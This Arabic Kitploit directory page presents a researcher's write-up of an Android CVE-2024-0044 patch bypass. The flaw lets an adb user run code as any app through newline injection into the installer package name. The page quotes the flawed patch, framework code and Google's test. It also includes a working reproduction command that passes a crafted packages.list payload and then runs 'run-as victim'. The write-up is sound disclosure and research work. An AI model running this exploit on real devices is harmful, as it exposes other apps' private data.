Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-0044 — إثبات المفهوم والتقرير الفني لتجاوز التصحيح الأولي لثغرة CVE-2024-0044، وهي ثغرة في إطار عمل أندرويد تتيح تصعيد الامتيازات من ADB إلى UID لأي تطبيق عبر حقن اسم حزمة المثبّت. | Kitploit
أدوات/GitHubGitHub/canyie/cve-2024-0044
أمان أندرويدتصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالأمن الجوالالأوراق والأبحاثالتعلم والتعليماستغلال الملفات الثنائية
GitHubcanyie/cve-2024-0044

CVE-2024-0044

إثبات المفهوم والتقرير الفني لتجاوز التصحيح الأولي لثغرة CVE-2024-0044، وهي ثغرة في إطار عمل أندرويد تتيح تصعيد الامتيازات من ADB إلى UID لأي تطبيق عبر حقن اسم حزمة المثبّت.

عرض المستودع
180293منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-0044/A-307532206 هي ثغرة أمنية عالية الخطورة في إطار عمل Android تسمح للمهاجمين الذين لديهم وصول adb بتشغيل كود عشوائي تحت UID لأي تطبيق. تم اكتشافها أصلاً بواسطة Tom Hebb من فريق Meta Red Team X. يمكنك العثور على العديد من المقالات حول استغلال هذه الثغرة على الإنترنت مثل هذه وهذه. لمزيد من المعلومات، تحقق من هذه المدونة: https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html

التصحيح لهذه الثغرة مضمّن في نشرة أمان Android لشهر مارس 2024، لكنني الآن توصلت إلى استغلال يتجاوز التصحيح. التصحيح الجديد مضمّن في نشرة أمان Android لشهر أكتوبر 2024 تحت نفس معرف CVE-2024-0044. أجهزة Android 12-13 التي تحتوي على مستوى تصحيح أمان قبل 2024-10-01 معرضة لهذه المشكلة.

يحتوي هذا المستودع على PoC قابل للتكرار بأقل جهد وملخص.

ما الخطأ في التصحيح الأصلي؟

أضاف التصحيح التحقق من صحة اسم حزمة المثبت (installer package name) الذي تم تمريره إلى PackageManagerService:

root@kitploit:~
diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644
--- a/services/core/java/com/android/server/pm/PackageInstallerService.java
+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java
@@ -47,6 +47,7 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ParceledListSlice;
 import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
 import android.graphics.Bitmap;
 import android.net.Uri;
 import android.os.Binder;
@@ -601,17 +602,22 @@
 
         // App package name and label length is restricted so that really long strings aren't
         // written to disk.
-        if (params.appPackageName != null
-                && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+        if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
             params.appPackageName = null;
         }
 
         params.appLabel = TextUtils.trimToSize(params.appLabel,
                 PackageItemInfo.MAX_SAFE_LABEL_LENGTH);
 
-        String requestedInstallerPackageName = (params.installerPackageName != null
-                && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
-                ? params.installerPackageName : installerPackageName;
+        // Validate installer package name.
+        if (params.installerPackageName != null && !isValidPackageName(
+                params.installerPackageName)) {
+            params.installerPackageName = null;
+        }
+
+        String requestedInstallerPackageName =
+                params.installerPackageName != null ? params.installerPackageName
+                        : installerPackageName;
 
         if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
             params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
         throw new IllegalStateException("Failed to allocate session ID");
     }
 
+    private static boolean isValidPackageName(@NonNull String packageName) {
+        if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+            return false;
+        }
+        // "android" is a valid package name
+        String errorMessage = ParsingPackageUtils.validateName(
+                packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+        if (errorMessage != null) {
+            return false;
+        }
+        return true;
+    }
+

يمكنك رؤية أن params.installerPackageName سيتم إعادة تعيينه إلى null إذا لم يكن اسم حزمة Android قانونيًا. ومع ذلك، في السطر التالي، يمكن أن يصبح requestedInstallerPackageName هو installerPackageName عندما يكون params.installerPackageName فارغًا أو غير صالح.

ما هو installerPackageName؟

دعنا نلقي نظرة على طريقة createSessionInternal، حيث تمت إضافة التصحيح:

root@kitploit:~
    @Override
    public int createSession(SessionParams params, String installerPackageName,
            String callingAttributionTag, int userId) {
        try {
            return createSessionInternal(params, installerPackageName, callingAttributionTag,
                    userId);
        } catch (IOException e) {
            throw ExceptionUtils.wrap(e);
        }
    }
    private int createSessionInternal(SessionParams params, String installerPackageName,
            String installerAttributionTag, int userId)
            throws IOException{
    }

يمكنك رؤية أن installerPackageName هو وسيطة منفصلة لا تأتي من param. التصحيح الأصلي تحقق من params.installerPackageName، لكنه نسي التحقق من installerPackageName.

إعادة الإنتاج

يمكنك فقط استخدام كود الاستغلال الأصلي من مدونة Tom Hebb لإعادة إنتاجه. هذا المستودع يحتوي أيضًا على PoC قابل للتكرار بأقل جهد. إذا كنت تريد اختبار PoC الخاص بي، فقط قم ببنائه، وادفع apk الناتج إلى /data/local/tmp/poc.apk، ثم قم بتشغيل الكود التالي مع adb shell:

root@kitploit:~
APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim

استبدل <victim uid> بـ UID للتطبيق الضحية.

إذا كنت تريد لعب اللعبة مرة أخرى، قم بتشغيل adb uninstall top.canyie.cve_2024_0044 وأعد تشغيل الكود أعلاه.

كيف حدث ذلك مرتين؟

يبدو الأمر واضحًا، كيف نجا من أنظار الجميع؟

حسنًا، قامت Google بإضافة اختبار لهذه المشكلة لضمان إصلاحها:

root@kitploit:~
            // Set vulnerable 'appPackageName' and 'installerPackageName'
            // for 'SessionParams' instance
            final String vulnPackageName =
                    context.getPackageName() + "\n" + context.getPackageName();
            final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
            params.setAppPackageName(vulnPackageName);
            params.setInstallerPackageName(vulnPackageName);

            final List<String> vulnerableFields = new ArrayList<String>();
            runWithShellPermissionIdentity(
                    () -> {
                        // Create session using 'SessionParams' instance, get 'appPackageName' and
                        // 'installerPackageName' corresponding to session and abandon session later
                        final PackageInstaller packageInstaller =
                                context.getPackageManager().getPackageInstaller();
                        final int sessionId = packageInstaller.createSession(params);
                        final String vulnerableAppPackageName =
                                packageInstaller.getSessionInfo(sessionId).getAppPackageName();
                        final String vulnerableInstallerPackageName =
                                packageInstaller
                                        .getSessionInfo(sessionId)
                                        .getInstallerPackageName();
                        packageInstaller.abandonSession(sessionId);

                        // Without fix, 'appPackageName' and 'installerPackageName' does not undergo
                        // internal validation and are set to 'vulnPackageName' which contain '\n'
                        if (vulnerableAppPackageName != null
                                && vulnerableAppPackageName.contains("\n")) {
                            vulnerableFields.add("'SessionParams.appPackageName'");
                        }
                        if (vulnerableInstallerPackageName != null
                                && vulnerableInstallerPackageName.contains("\n")) {
                            vulnerableFields.add("'SessionParams.installerPackageName'");
                        }
                    });

            String errorMessage =
                    "Device is vulnerable to b/307532206 !!"
                            + " packages.list newline injection allows"
                            + " run-as as any app from ADB"
                            + " Due to : Fix is not present for ";
            assertWithMessage(errorMessage.concat(String.join(" , ", vulnerableFields)))
                    .that(vulnerableFields)
                    .isEmpty();

يستخدم الاختبار واجهة برمجة التطبيقات العامة القياسية PackageInstaller التي لا تسمح بتخصيص installerPackageName. في واجهة برمجة التطبيقات العامة، يتم دائمًا تعيين installerPackageName على اسم الحزمة الحقيقي لـ Context المقدم:

root@kitploit:~
    public int createSession(@NonNull SessionParams params) throws IOException {
        try {
            return mInstaller.createSession(params, mInstallerPackageName, mAttributionTag,
                    mUserId);
        } catch (RuntimeException e) {
            ExceptionUtils.maybeUnwrapIOException(e);
            throw e;
        } catch (RemoteException e) {
            throw e.rethrowFromSystemServer();
        }
    }

عندما يكون المتصل تطبيقًا تابعًا لجهة خارجية، يكون installerPackageName مضمونًا أن يكون ملكًا للمتصل؛ وعندما يكون المتصل هو adb، سيتم دائمًا إعادة تعيينه إلى null، لذا يبدو هذا جيدًا:

root@kitploit:~
        String requestedInstallerPackageName =
                params.installerPackageName != null ? params.installerPackageName
                        : installerPackageName;
        if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
            params.installFlags |= PackageManager.INSTALL_FROM_ADB;
            // adb installs can override the installingPackageName, but not the
            // initiatingPackageName
            installerPackageName = null;
        } else {
            if (callingUid != Process.SYSTEM_UID) {
                // The supplied installerPackageName must always belong to the calling app.
                mAppOps.checkPackage(callingUid, installerPackageName);
            }
            // Only apps with INSTALL_PACKAGES are allowed to set an installer that is not the
            // caller.
            if (!TextUtils.equals(requestedInstallerPackageName, installerPackageName)) {
                if (mContext.checkCallingOrSelfPermission(Manifest.permission.INSTALL_PACKAGES)
                        != PackageManager.PERMISSION_GRANTED) {
                    mAppOps.checkPackage(callingUid, requestedInstallerPackageName);
                }
            }
        }

ومع ذلك، تتم العملية بعد تعيين requestedInstallerPackageName إلى installerPackageName، لذا يتم الاحتفاظ بالقيمة الأصلية.

لكن إذا قاموا بتشغيل PoC الأصلي الذي قدمه Tom Hebb بدلاً من كتابة PoC خاص بهم، يمكنهم اكتشاف المشكلة لأن أمر pm يستدعي طريقة createSession الأساسية مع installerPackageName مخصص.

سؤال آخر، لماذا لم يكتشف أحد المشكلة بينما PoC متاح للجميع؟

حسنًا، تم تحليل هذه الثغرة وإعادة إنتاجها واستغلالها من قبل العديد من الأشخاص على الإنترنت، وهناك مقال كتبه Qidan He (flanker) من مختبر JD Dawn Security (هذه مقالة مثيرة جدًا للاهتمام عن CVE-2024-31317 بالمناسبة) تقول "其中CVE-2024-0044因简单直接,在技术社区已经有了广泛的分析和公开的exp" ("CVE-2024-0044 تم تحليلها على نطاق واسع واستغلالها علنًا في المجتمع التقني لأنها بسيطة ومباشرة")، ومع ذلك لم يلاحظها أحد وكأن الجميع كان تحت وهم.

في الواقع، شخص ما نجح في إعادة إنتاج الاستغلال على إصدارات مُصَحَّحة، لكن يبدو أن المؤلف لم يدرك ما حدث. لقد وجدتها من خلال مراجعة الكود وأبلغت عنها في 16 مايو 2024، بعد شهرين من إصدار التصحيح الأصلي. إذا كان أي شخص قبلي قد أخذ بضع ثوانٍ إضافية للنظر بعناية في التصحيح، أو فقط حاول تشغيل PoC على الإصدارات المُصَحَّحة لمعرفة ما إذا كانت المشكلة قد أُصلحت بالفعل، لكانت مكافأة الأخطاء ملكًا له. هذا يبدو مثل كلمات أغنية صينية، "再多看一眼就会爆炸" ("نظرة أخرى وسوف تنفجر").

تنزيل الأداة